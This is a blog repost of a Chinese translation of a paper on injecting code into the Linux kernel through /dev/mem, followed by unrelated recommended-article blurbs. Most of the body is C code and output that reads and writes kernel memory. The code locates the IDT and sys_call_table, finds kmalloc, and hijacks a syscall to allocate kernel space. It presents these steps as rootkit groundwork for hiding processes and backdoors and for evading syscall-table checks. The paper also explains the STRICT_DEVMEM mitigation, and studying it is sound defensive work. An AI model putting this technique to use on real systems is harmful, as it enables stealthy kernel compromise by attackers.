通过/dev/mem进行恶意代码注入

探索 Mem0:为 AI 注入智能记忆的创新力量 Mem0(“mem-zero”)是一个智能记忆层,旨在增强 AI 助手和代理的持久、个性化记忆能力。它使 AI 系统能够记住用户的偏好,适应个体需求,并随着时间的推移不断学习,非常适合用于客户支持聊天机器人、AI 助手和自主系统等场景。Mem0 为 AI 应用提供了一个强大而灵活的记忆层解决方案,通过其卓越的性能、丰富的功能和广泛的集成能力,能够帮助开发者构建更加智能、个性化的 AI 系统。无论是开源爱好者还是企业开发者,都可以从 Mem0 中受益,推动 AI 技术的进一步发展。 阅读详情

出处:http://blog.youkuaiyun.com/tody_guo/article/details/5457659  有删改
英文原文:http://www.dtors.org/papers/malicious-code-injection-via-dev-mem.pdf

    摘要
    在本文中,我们将要讨论使用字符设备 /dev/mem 向kernel进行代码注入的方法。大多数针对linux kernel的rootkit,依赖于内核模块(LKM)来将代码导入到内核中。我们将演示Silvio Cesare原创的使用 /dev/kmem 来修改内核的方法,并将它应用到 /dev/mem 上面。我们将讲到如何定位一些重要的内核数据结构,在内核中分配内存,在内核中故意修改一些重要的数据结构。我们的讨论将主要集中在X86架构上。

    1. mem设备
    /dev/mem 是物理内存的驱动接口。mem和kmem的最初目的是为了调试内核。我们像正常的字符设备一样使用它们,例如使用lseek()来定位一个地址偏移。kmem设备类似,但是提供了在虚拟地址上下文上的一个kernel内存镜像。 Xorg server 使用mem设备来访问VESA显存, 以类似于BIOS 中断向量表(位于物理内存地址0x00000000)的方式在VM86模式下操作视频模式。DOSEMU也使用它来访问BIOS IVT来调用BIOS中断来完成各种任务(例如磁盘读、打印到终端等)。

    2. 读写 /dev/mem
    对 /dev/mem 设备进行读写操作需要使用物理内存。因为linux kernel中的地址都是虚拟地址,我们需要将虚拟地址转换为物理地址。由于每个进程把kernel映射到相同的地址, 所以我们可以通过查询任意一个进程的页目录(Page Directory)来完成这个工作。同时,我们也可以通过内核的加载方式来完成这个任务。
    一般来说,内核会被加载到物理内存地址0x00100000(1MB)处。内核所在的内存(ring 0)通常也会从虚拟地址0xC000000(3GB)开始。内核自身被映射到0xC0100000.
    Tim Robinson开发了使用全局描述符表(GDT)在实模式下以虚拟地址运行内核的技术,利用其背后的思想(译者注:Tim Robinson的bootloader中采用的trick,在实模式下,使用虚拟地址和GDT来解析物理地址),我们可以将内核虚拟地址转换成物理地址。GDT是一个段映射表,包含了内存映射信息。它定义了基地址base address 、大小size和权限permissions。X86体系结构中的CS寄存器包含了一个GDT中的偏移,来确定使用哪个内存段。GDT表项中存放的基地址加上处理器要访问的地址,就得到了最终的地址。设置GDT表项中的基地址为一个高地址将会使一个32位地址回绕。如果内核映射到地址0xC0100000,一个基地址为0x40000000的表项(译者注:原文中为0x80000000,不过译者认为是笔误)将会得到地址0x00100000(译者注:0xC0100000+0x40000000=0x00100000),kernel被加载到的物理地址。使用这个信息,我们可以通过简单的相加就将虚拟地址翻译到物理地址。我们可以使用这个技巧来解决我们之前考虑的问题,使用简单的减法来得到物理地址(译者注:+0x40000000相当于-0xC0000000)。例如,0xC0100000-0xC0000000。下面的代码描述了这个过程:

    译者注:关于Tim Robinson的GDT Trick可以阅读下面的这些资料:
    http://www.osdever.net/tutorials/pdf/memory1.pdf
    http://wiki.osdev.org/Higher_Half_Kernel
    http://wiki.osdev.org/Higher_Half_With_GDT

#define KERN_START 0xC0000000
int iskernaddr(unsigned long addr)
{
    /*is address valid?*/
    if(addr<KERN_START)
    return -1;
    else
    return 0 ;
}
/*read from kernel virtual address*/
int read_virt(unsigned long addr, void *buf, unsigned int len)
{
    if( iskernaddr(addr)<0 )
    return -1;

    addr = addr - KERN_START;

    lseek(mem_fd, addr, SEEK_SET);

    return read(mem_fd, buf, len);
}
/*write to kernel virtual address*/
int write_virt(unsigned long addr, void *buf, unsigned int len)
{
    if( iskernaddr(addr)<0 )
    return -1;

    addr = addr - KERN_START;

    lseek(mem_fd, addr, SEEK_SET);

    return write(mem_fd, buf, len);
}


在对 /dev/mem 调用open()之后,我们就可以使用这些函数来操作内核了。

    3.  操作内核
    系统调用表system call table是我们的主要目标,系统调用表是内存中的一个大数组,包含着一些系统调用函数的函数指针,每个占4个字节。过去,sys_call_table符号为了被LKM使用,是一个被导出的符号(被导出的符号可以通过符号表找到符号对应的地址)。我们现在已经不能访问这个符号了,因此我们需要自己定位这个地址。
    3.1 IDT
    中断描述符表(IDT)是X86体系结构上用来确定一个中断或者异常相应处理函数的数组。IDT的地址被存放在IDTR寄存器。这个寄存器保存着4字节的地址address和2字节的限制limit。IDT本身在内存中包含256个连续的表项。IDT中的每个表项是一个8字节的数据结构,来保存中断或者是异常处理函数的地址,以及描述符的类型(见IDT的图示)。表项通过中断向量来进行索引。当中断发生的时,处理器就会查询存放在IDTR中的中断向量表,通过触发的中断的索引来查找中断处理函数,并调用中断处理函数。
    IDTR寄存器可以通过lidt汇编指令来进行设置。这个指令是一个特权指令,只能在当前特权级(CPL)为0时候可以执行。为了获得IDTR中保存的地址,我们可以使用sidt指令。这个指令不是特权指令,可以被任何人执行。下面的代码显示了如何获得IDT的地址:

struct idtr {
    uint16_t limit;
    unsigned long base;
} __attribute__((packed));

unsigned long idt_table;

__asm__("sidt %0": "=m"(idtr));
idt_table = idtr.base;

    然而,在大多数的虚拟机中无法顺利的读取IDTR。因为lidt指令是一个特权指令,将会产生一个异常,并被VM所捕获。这样可以使VM为每一个操作系统维持一个虚拟的IDTR。因为sidt指令没有被处理,它将会返回一个伪造的IDTR地址,通常会大于0xFFC00000。因此,我们需要求助于内核l的system.map文件。但是如果我们可以访问kernel的system.map文件的话,我们根本就不用做上面的所有工作,而是直接找到我们需要的符号的地址了。
    3.2 查找sys_call_table
    Linux内核使用0x80中断来处理系统调用。IDT表项是表中的第0x80项,它存放着system_call()的地址。这个函数是内核中所有系统调用的总入口。在定位到IDT的地址之后,我们可以读取到linux系统调用中断在IDT中的表项内容。

struct idt_entry{
    uint16_t lo;
    uint16_t css;
    uint16_t flags;
    uint16_t hi;
} __attribute__((packed));

unsigned long syscall_handler;

/*get idt entry for linux syscall interrupt 0x80*/
read_virt(idtr.base+sizeof(struct idt_entry)*0x80, &idt, sizeof(struct idt_entry));

syscall_handler = (idt.hi<<16) | idt.lo;


    使用定位到的syscall_handler()的地址,我们可以将函数的代码读取到一个buffer中。系统调用约定要求将系统调用号放在EAX寄存器,参数放在EBX,ECX和EDX寄存器中。当开始执行系统调用处理函数的时候,EAX中保存中系统调用号,可以被用来在sys_call_table 中进行索引。如果我们直接看系统调用处理函数的反汇编代码的话,在我们的例子中我们可以看到在0xC0103EBB处有一个call指令:

anthony$gdb -q /usr/src/linux/vmlinux
(gdb)disassemble system_call
Dump of assembler code for function system_call:
0xc0103e80 «system_call+0»: push %eax
0xc0103e81 «system_call+1»: cld
0xc0103e82 «system_call+2»: push %fs
0xc0103e84 «system_call+4»: push %es
0xc0103e85 «system_call+5»: push %ds
0xc0103e86 «system_call+6»: push %eax
0xc0103e87 «system_call+7»: push %ebp
0xc0103e88 «system_call+8»: push %edi
0xc0103e89 «system_call+9»: push %esi
0xc0103e8a «system_call+10»: push %edx
0xc0103e8b «system_call+11»: push %ecx
0xc0103e8c «system_call+12»: push %ebx
0xc0103e8d «system_call+13»: mov $0x7b,%edx
0xc0103e92 «system_call+18»: mov %edx,%ds
0xc0103e94 «system_call+20»: mov %edx,%es
0xc0103e96 «system_call+22»: mov $0xd8,%edx
0xc0103e9b «system_call+27»: mov %edx,%fs
0xc0103e9d «system_call+29»: mov $0xffffe000,%ebp
0xc0103ea2 «system_call+34»: and %esp,%ebp
0xc0103ea4 «system_call+36»: testw $0x1d1,0x8(%ebp )
0xc0103eaa «system_call+42»: jne 0xc0103fc0 «syscall_trace_entry»
0xc0103eb0 «system_call+48»: cmp $0x14d,%eax
0xc0103eb5 «system_call+53»: jae 0xc0104018 «syscall_badsys»
0xc0103ebb «system_call+59»: call *0xc032c880(,%eax,4)
0xc0103ec2 «system_call+66»: mov %eax,0x18(%esp)
0xc0103ec6 «syscall_exit+0»: push %eax
0xc0103ec7 «syscall_exit+1»: push %edi
0xc0103ec8 «syscall_exit+2»: push %ecx
0xc0103ec9 «syscall_exit+3»: push %edx

    这条指令的机器代码为FF 14 85 ?? ?? ?? ??,最后的4个字节(??)就是系统调用表的地址。我们对这条指令的前3个字节比较感兴趣。因为这条调用指令的前三个字节在这个函数中是唯一的,我们可以通过在内存中搜索这个字节序列,来获得代表系统调用表地址的后4个字节。这是一个很简单的方法,对于我们来讲却十分有效。

char buf[100];
memset(buf, 0, buf_sz);
read_virt(syscall_handler, buf, buf_sz);

/*
Scan opcodes from system_call() to find the opcode for
calling the indexed pointer into sys_call_table
/xff/x14/x85/x??/x??/x??/x?? = call ptr 0x????????(eax,4)
*/
for(i=0,ptr=bubf; i<buf_sz; i++, ptr++) 
{
    if(*ptr==0xff && *(ptr+ 1)==0x14 &&
      *(ptr+ 2)==0x85 &&)
    {
        /*skip first 3 bytes of opcode*/
        syscall_table = *((uint32_t *)(ptr+ 3));
        break;
    }
}
    printf("sys_call_table 0x%08x/n", syscall_table);


    运行这段代码,我们可以看到我们能够获得sys_call_table的正确地址。

#./memrkit
idtr.base 0xc0432000, limit 000007ff
system_call() 0xc0103e80
sys_call_table 0xc032c880

    现在我们可以直接修改表中的相应表项,将其指向我们自己的函数,甚至是重写系统调用表处理函数中的地址,使用我们自己的表,而不改变原先的表。这样就可以避过现在很多检查系统调用表变化的rootkit检测方法。从这一点上来看,我们可以修改内核的任何地址,从而创造出更多的可能性。

    4.  分配内存
    拥有了在内核中任意写的权力,现在我们则需要一个地方来存放代码。我们不能够覆盖内核的部分,这样会导致内核不稳定。kmalloc分配的内存池中的内存块可以被使用,但是我们无法原子地检查未使用的内存的头部,因此不能够保证等到我们使用的时候,它还是free的(还是可用的)。另外一种可能就是使用那些预留的用来填充kmalloc内存池的未使用的页(译者注:kmalloc池中未分配的内存)。这需要我们能够在ring 0权限下动态的分配内存。我们也必须能够在用户空间做这件事情。
    我们需要做的第一件事情是在内存中定位 kmalloc()的地址。我们可以使用为LKM使用的导出符号表。我们可以通过在内存中搜索字符串"0__kmalloc0"。在找到这个字符串的地址后,我们再次在内存中搜索引用这个地址的地方。在我们找到的内存位置,它的前面4个字节就是kmalloc函数的地址。下面是来完成这些的示例代码。

#define PAGE_SIZE 4096
unsigned long lookup_kmalloc(void)
{
    char buf[4096];
    char srch[20];
    unsigned long i = KERN_START, j;
    unsigned long kstrtab;
    char *sym="__kmalloc";

    srch[0] = '/0';
    memcpy(srch+1, sym, strlen(sym));
    srch[strlen(sym)+1] = '/0';

    /*Search the first 50megs of kernel space*/
    while(i<KERN_START + 1024*1024*50) {
    read_virt(i, buf, PAGE_SIZE);
     for(j= 0; j< PAGE_SIZE; j++) {
         if(memcmp(buf+j, srch, strlen(sym)+2) == 0) {
           printf("kstrtab: %08x/n", i+j);
             kstrtab = i+j+1;
          }
     }
    /*overlap reads incase string crosses boundries*/
    i += (PAGE_SIZE-strlen(sym));
  }   

    i = KERN_START;
    if(kstrtab) {
        while(i<KERN_START+1024*1024*50) {
           read_virt(i, buf, PAGE_SIZE);
           for(j=0; j<PAGE_SIZE; j++) {
               if( *(unsigned long *)(buf+j) == kstrtab) {
                   printf("Possible location: %s@%08x/n", sym, *(unsigned long *)(buf+ j- 4) );
               }
           }
          i+=(PAGE_SIZE-8);
        }        
    }

    return 0;
}


    这种方法还可以定位其他的导出符号的地址。现在我们需要一个调用这个地址的方法。使用之前找到的系统调用表,我们可以使用kmalloc的地址覆盖一个现有的系统调用。这个函数需要两个参数,需要分配的缓存大小和POOL类型。通常,我们会以GFP_KERNEL类型来进行分配,它在2.6内核中的值是 0xD0。我们将系统调用号放在EAX寄存器中,分配大小放在EBX中,GFP_KERNEL放在ECX中,然后调用系统调用。在分配需要的内存之后,分配的的缓存的地址会被返回到EAX寄存器中。当这个工作完成之后,把之前覆盖的系统调用表中相应的系统调用处理函数恢复到原先的地址。我们我们需要承担在进行该操作过程中有人调用我们覆盖的系统调用的风险。选择一个不经常使用的系统调用(例如sys_uname或者是其他类似的) 来将这种情况的风险降到最小。

#define SYS_UNAME 122
unsigned long kmalloc_addr, sys_uname;
kmalloc_addr = find_kmalloc(KERN_START+0x100000, 1024*1024*20);

if(kmalloc_addr) {
    read_virt(syscall_table+SYS_UNAME*sizeof(long),
    &sys_uname, sizeof(unsigned long));

    write_virt(syscall_table+SYS_UNAME*sizeof(long),&kmalloc_addr, sizeof(unsigned long));

    __asm__("movl $122, %%eax     /n"
    "movl $0x4096, %%ebx     /n"
    "movl $0xd0, %%ecx     /n"
    "int $0x80         /n"
    "movl %%eax, %0":"=r"(kernel_buf) );

    write_virt(syscall_table+SYS_UNAME*sizeof(long),
    &sys_uname, sizeof(unsigned long));
    printf("Kernel Space allocation: %p/n", kernel_buf);
}


    我们现在有一个可靠的地方在内核中存放代码,而不用担心内核会使用这个地方。可以将原始机器代码拷贝到这里,作为内核的一个函数来完成其他的任务。这个工作留给读者来完成。
    直到最近,内核主线中依然没有没有保护措施。尽管SELinux已经限制1M以上物理内存很多年了。使用RHEL和其他类似的发行版是安全的。最近内核主线才加入了对/dev/mem的读写限制。该限制会检查访问的地址是否在内存的前256页(1M)。这些检查杂函数range_is_allowed() 和 devmem_is_allowed()函数中。

Listing 1: /usr/src/linux/drivers/char/mem.c
#ifdef CONFIG_STRICT_DEVMEM
static inline int range_is_allowed(unsigned long pfn, unsigned long size)
{
    u64 from = ((u64)pfn) << PAGE_SHIFT;
    u64 to = from + size;
    u64 cursor = from;

    while (cursor < to) {
        if (!devmem_is_allowed(pfn)) {
            printk(KERN_INFO "Program %s tried to access /dev/mem between %Lx-»%Lx./n", current->comm, from, to);
            return 0;
        }
        cursor += PAGE_SIZE;
        pfn++;
   }
    return 1;
}
#else
static inline int range_is_allowed(unsigned long pfn, unsigned long size)
{
    return 1;
}
#endif

Listing 2: /usr/src/linux/arch/x86/mm/init_32.c
int devmem_is_allowed(unsigned long pagenr)
{
    if (pagenr <= 256)
       return 1;
    if (!page_is_ram(pagenr))
       return 1;
     return 0;
}


    正如你所看到的,唯一的问题就在于range_is_allowed()包含在预处理宏#ifdef CONFIG_STRICT_DEVMEM中。如果没有被配置,range_is_allowed()将总是返回成功。
在配置内核的时候,这个配置选项默认为N,即便是在内核的帮助文档中建议在不确定的时候选择Y。

Listing 3: /usr/src/linux/arch/x86/Kconfig.debug
config STRICT_DEVMEM
bool "Filter access to /dev/mem"
help
If this option is left off, you allow userspace access to all
of memory, including kernel and userspace memory. Accidental
access to this is obviously disastrous, but specific access can
be used by people debugging the kernel.

If this option is switched on, the /dev/mem file only allows
userspace access to PCI space and the BIOS code and data regions.
This is sufficient for dosemu and X and all common users of
/dev/mem.

If in doubt, say Y.

在将来应该将其默认改为Y,系统管理员在配置内核的时候,应该确定启用了这个选项。

    5. 结论
    我们介绍了一种读写kernel内存的方法,以及将代码存入kernel的方法,这些全部在用户空间完成。这个设备非常的强大,其中充满无数的可能性。拥有 root权限的攻击者可以使用它来完成很多标准rootkit的行为,例如隐藏进程,隐藏远程后门,截获系统调用,等等。通过这种方法向内核中注入代码简洁明了。相比LKM的方式,在插入rootkit的时候,也产生较少的噪声。

基于STM32F103与AD8232的便携式心电监测系统设计与实现 本文详细介绍基于STM32F103微控制器与AD8232心电传感器模块的便携式心电监测系统设计与实现。系统通过ADC采集心电信号,结合软件滤波算法处理基线漂移和工频干扰,并利用OLED屏幕实时显示波形,具有低成本、高实用性的特点,适用于健康监测与嵌入式学习。 阅读详情

相关推荐

如何通过CAD图中的坐标来确定是哪个坐标系

地理坐标系:为球面坐标。参考平面地是椭球面,坐标单位:经纬度。以地球参考为例,坐标系就相当于整个地球,而地理坐标系就是椭球状的完整的立体地球。所以我们可以看到生活中的数据与地图是一定含有地理坐标系的,因为他是客观上来说确确实实存在的。投影坐标系:为平面坐标。参考平面地是水平面,坐标单位:米、千米等。这就相当于把地球当成一个橘子,然后一刀切开,把橘子皮平面铺开,这个过程就是地理投影的过程。严谨一点来说就是建立一个参考系统,按照对应位置把椭球体投射到平面。那坐标系统主要有那些呢?北京54。

vjmap的博客 2万+

/dev/mem可没那么简单

这几天研究了下/dev/mem,发现功能很神奇,通过mmap可以将物理地址映射到用户空间的虚拟地址上,在用户空间完成对设备寄存器的操作,于是上网搜了一些/dev/mem的资料。网上的说法也很统一,/dev/mem是物理内存的全映像,可以用来访问物理内存,一般用法是open("/dev/mem",O_RDWR|O_SYNC),接着就可以用mmap来访问物理内存以及外设的IO资源,这就是实现用户空间驱动的一种方法。 用户空间驱动听起来很酷,但是对于/dev/mem,我觉得没那么简单,有2个地方引起我的怀疑: (

做一个有技术追求的人 4万+

不用加速器!Google Earth Pro登录失败自救手册:从服务器连接到地图加载的完整排错流程

本文详细解析了Google Earth Pro登录失败的常见问题及解决方案,包括服务器连接失败、地图加载异常等。通过基础排查、内置修复工具使用和高级配置调整,帮助用户无需加速器即可解决启动问题、黑屏和转圈圈等困扰,提升软件使用体验。

weixin_29227425的博客 485

/dev/mem学习

这几天研究了下/dev/mem。发现功能非常奇妙,通过mmap能够将物理地址映射到用户空间的虚拟地址上。在用户空间完毕对设备寄存器的操作,于是上网搜了一些/dev/mem的资料。 网上的说法也非常统一,/dev/mem是物理内存的全映像,能够用来訪问物理内存,一般使用方法是open("/dev/mem",O_RDWR|O_SYNC),接着就能够用mmap来訪问物理内存以及外设的IO资源,这...

zjy900507的博客 837

2025.06.20【pacbio】|PB甲基化分析结果的统计与可视化介绍

本文介绍了PacBio甲基化数据的统计分析与可视化方法。主要内容包括:1) 分析甲基化位点分布、比例及染色体分布;2) 修饰基序(Motif)的统计与热图展示;3) 全基因组和局部区域测序深度可视化;4) 使用IGV查看单个reads修饰情况。文章提供了R代码示例,涵盖柱状图、分布图、热图等多种可视化形式,并建议了差异甲基化分析等进阶方法,帮助科研人员深入挖掘甲基化数据。

2067

LVGL高效加载外部Flash图片资源的实现与优化

本文深入探讨了在嵌入式UI开发中,如何为LVGL高效加载外部Flash中的图片资源。针对内部Flash容量不足的痛点,详细解析了LVGL的图片处理原理,并对比了内存映射与流式解码两种主流实现方案。文章重点提供了性能优化技巧与实战避坑指南,旨在帮助开发者实现流畅的图片加载体验,解决SPI Flash读取慢、内存占用高等核心挑战。

t1u2v的博客 462

解决Linux内核问题实用技巧之 - Crash工具结合/dev/mem任意修改内存

Linux内核程序员几乎每天都在和各种问题互相对峙: 内核崩溃了,需要排查原因。 系统参数不合适,需要更改,却没有接口。 改一个变量或一条if语句,就要重新编译内核。 想稍微调整下逻辑却没有源码,没法编译。 ... 解决每一类问题都需要消耗大量的时间,特别是重新编译内核这种事情。于是,每一个Linux内核程序员或多或少都会掌握一些Hack技巧,以节...

mkelehk的专栏 2114

从IMC层到应力点:手把手教你用SEM/EDS给BGA焊点做一次‘体检’

本文详细介绍了如何使用SEM/EDS技术对BGA焊点进行全面失效分析,从样品制备到SEM观察、EDS分析,再到综合诊断,手把手教你识别焊点的微观特征和成分异常。文章特别强调了IMC层分析在BGA焊接失效诊断中的关键作用,并提供了实用的实验室技巧和常见失效模式对照表,帮助工程师快速定位问题根源。

weixin_42685438的博客 384

/dev/mem 实现原理

这几天研究了下/dev/mem。发现功能非常奇妙,通过mmap能够将物理地址映射到用户空间的虚拟地址上。在用户空间完毕对设备寄存器的操作,于是上网搜了一些/dev/mem的资料。 网上的说法也非常统一,/dev/mem是物理内存的全映像,能够用来訪问物理内存,一般使用方法是open("/dev/mem",O_RDWR|O_SYNC),接着就能够用mmap来訪问物理内存以及外设的IO资源,这就是实现用户空间驱动的一种方法。用户空间驱动听起来非常酷。可是对于/dev/mem,我认为没那么简单,有2个地方.

liyucheng987的博客 3057

【胡学长 带你学 Global Mapper 】如何将影像地图转换为国家2000坐标系

多部门联合开展工作坐标数据不匹配怎么办?Hi,我是胡学长!今天教大家如何利用Global Mapper将谷歌影像数据转换为国家2000坐标系影像数据 。

一起来交流学习吧 1万+

【ChatGPT】实用 Prompt 指令大全 —— 一文教你如何更好地挖掘 GPT 的价值

ChatGPT 是由 OpenAI 开发的一种先进的大型语言生成模型,能够理解和生成准确、自然且连贯的文本。文本生成数据分析内容审核语义理解自然语言推理以及其他众多任务ChatGPT是一种基于GPT-3.5架构的大型语言模型,由OpenAI公司开发。该模型在自然语言处理领域有着广泛的应用,可以用于文本生成、文本分类、情感分析、问答系统等任务。本文将从模型的架构、训练方式、优缺点等方面对ChatGPT进行详细介绍。一、模型架构。

AI天才研究院 2万+

修改任意Linux进程地址空间实施代码注入

提到进程注入,常规的方案就是使用ptrace,其POKEDATA,POKETEXT命令选项单从名字上就知道是干什么的,这里不再赘述。 然而ptrace是个系统化的东西,太复杂,不适合玩手艺,有没有什么适合手工玩的东西呢?当然有! 正如读写/dev/mem可以手工完成crash+gdb的功能hack内核一样,每一个用户态进程也有一个mem文件,即 /proc/$pid/mem 。 我不敢保证每一个系统该文件都可写,但一旦它可写就好玩了。 /proc/$pid/mem文件抽象的一个进程的地址空间,直接写该文

TCP/IP 6897

Android 10.0 SystemUI下拉状态栏点击设置跳转设置时白屏修改

在10.0的系统rom定制化开发中,在SystemUI下拉状态栏下方点击设置图标跳转设置的过程中,发现 有白屏显示挡住设置界面,显示白屏,接下来分析下相关原因来解决这个问题

安卓兼职framework和app工程师的博客 81

Linux驱动开发常用调试工具---之内存读写工具devmem和devkmem

版权声明:本文为博主原创文章 && 转载请著名出处 @ http://blog.youkuaiyun.com/gatieme https://blog.youkuaiyun.com/gatieme/article/details/50964903 问题 这段时间实验室要完成一个内存故障注入工具和寄存器故障注入工具,在编写驱动的过程中,调试起来很麻烦(一般都是printk打印出来的,调试起来太不方便),...

MENGHUANBEIKE的专栏 496

廖雪峰Python教程[完整版]

廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

Arduino嵌入式开发中的/dev/full语义实现

在嵌入式系统中,类Unix设备文件语义(如/dev/full)是构建可测试、可验证固件架构的重要抽象。其核心原理在于通过确定性错误返回(ENOSPC)和恒定读取行为(EOF/0),实现零开销的I/O故障模拟。这种设计具备显著的技术价值:规避硬件依赖、强化错误路径覆盖、支撑单元测试与压力分析。典型应用场景包括日志模块鲁棒性验证、协议栈异常桩测试、print()性能基准测量等。DEVFULL作为Arduino平台上的轻量级实现,严格遵循POSIX语义,并与DEVNULL、DEVRANDOM构成标准虚拟设备工具集

weixin_29215509的博客 266

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

Claude-Mem插件故障排查与优化指南

作为一款能够自动捕获Claude编程会话并智能压缩上下文的插件,Claude-Mem极大提升了AI辅助编程的连续性和效率。但就像任何复杂系统一样,它偶尔也会遇到技术难题。本文将帮助您诊断并解决Claude-Mem的常见问题,让您的AI记忆系统始终保持最佳状态。 [![Claude-Mem双窗口工作界面](https://raw.gitcode.com/GitHub_Trending/cl/cla

gitblog_00517的博客 719

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

Claude-Mem故障诊断技能:自动化修复常见问题的终极指南

Claude-Mem作为一款强大的AI记忆插件,能够自动捕获Claude在编程会话中的所有操作,并使用AI进行智能压缩,为未来的会话注入相关上下文。然而,在使用过程中可能会遇到各种技术问题,本文将为您详细介绍Claude-Mem故障诊断技能,帮助您快速解决常见问题。🚀 ## 为什么需要故障诊断技能? 当Claude-Mem出现问题时,您可能会遇到: - 记忆数据不持久保存 - 查看器界面显示

gitblog_00663的博客 1431

Claude-Mem如何实现跨会话的智能记忆持久化?

Claude-Mem作为专业的AI助手记忆系统,能够捕捉并压缩开发者在编程会话中的所有操作,将相关上下文智能注入到未来的会话中。这个开源项目支持Claude Code、OpenClaw、Codex、Gemini、Hermes、Copilot、OpenCode等多种AI开发工具,为开发者提供无缝的跨会话记忆体验。 ## 🔧 系统架构深度解析:Claude-Mem如何工作? Claude-Mem

gitblog_01063的博客 439

Claude-Mem智能记忆系统:5个核心技巧解决开发记忆丢失问题

在AI辅助编程的日常工作中,你是否遇到过这样的场景:昨天与Claude深入讨论的代码架构,今天却要从头解释;上周修复的复杂bug,本周再次出现时毫无头绪;多个项目间的上下文切换让你频繁重复背景说明。这正是Claude-Mem要解决的痛点——为AI编程会话提供持久化记忆,让Claude Code成为真正了解你项目历史的智能伙伴。 Claude-Mem通过自动捕获Claude在编程会话中的所有操作,

gitblog_01042的博客 302

如何编译devmem_GitHub - gatieme/FaultInjection: 用驱动的方式窥视linux内核的实现

MemoryFaultInjection#1配置安装##1.1目录结构|-- LICENSE|-- README.md|-- src ==== 源代码目录| |-- bugs bug目录 ==== 记录程序的所有bug| |-- engine 驱动 ==== 为应用程序和工具提供服务| |--...

weixin_29774611的博客 502

Mem0 + Elasticsearch:构建 AI 记忆系统

通过 Mem0 框架管理记忆生命周期,结合 Elasticsearch 提供向量检索能力,可以构建支持记忆持久化存储、语义检索和智能更新的生产级 AI 记忆系统。

科技很有意思 567

Claude-Mem实战指南:构建你的AI记忆系统,让代码助手拥有持久记忆

你是否曾经遇到过这样的场景:在与AI助手进行长时间的编程对话后,突然需要重新开始一个新的会话,然后发现之前所有的讨论和上下文都消失了?或者当你第二天继续一个项目时,需要花费大量时间重新解释之前的代码结构和设计决策?Claude-Mem正是为了解决这些问题而生的开源工具。 ## 什么是Claude-Mem? Claude-Mem是一个为Claude Code和其他AI助手构建的持久化内存压缩系统

gitblog_00518的博客 433

警惕虚假招聘面试中的恶意代码攻击与防御策略

网络安全领域中,恶意代码攻击已成为技术从业者面临的重要威胁之一。这类攻击通常利用社会工程学手段,通过伪装成合法流程(如招聘面试)诱导目标执行恶意代码。其技术原理涉及恶意软件分发、持久化控制及数据外传等环节,对个人隐私和企业数据安全构成严重威胁。在云原生和AI模型部署等热门技术领域,开发者尤其需要提高警惕。防御措施包括使用隔离环境进行技术测试、验证企业真实性以及建立应急响应流程。通过理解这些基础安全概念和工程实践,可以有效识别虚假招聘中的技术陷阱,保护代码资产和系统安全。

weixin_32736961的博客 294

Claude-Mem故障诊断与优化指南

### 1.1 开发环境集成场景故障 在将Claude-Mem集成到开发环境过程中,用户可能遇到工作进程启动失败、插件加载异常等问题。这类故障通常表现为Claude Code界面无记忆功能入口、命令无法识别或响应超时。 ### 1.2 记忆管理场景故障 记忆数据管理是Claude-Mem的核心功能,相关故障主要包括:记忆数据不持久化、搜索功能异常、上下文无法正确注入等问题。这些问题直接影响AI辅

gitblog_00804的博客 323
上一篇: 也谈大端模式(big endian)和小端模式(little endian) (二) 理论与实例一
下一篇: 硬编码实例
linuxdrivers
博客等级 码龄16年 147粉丝 14原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值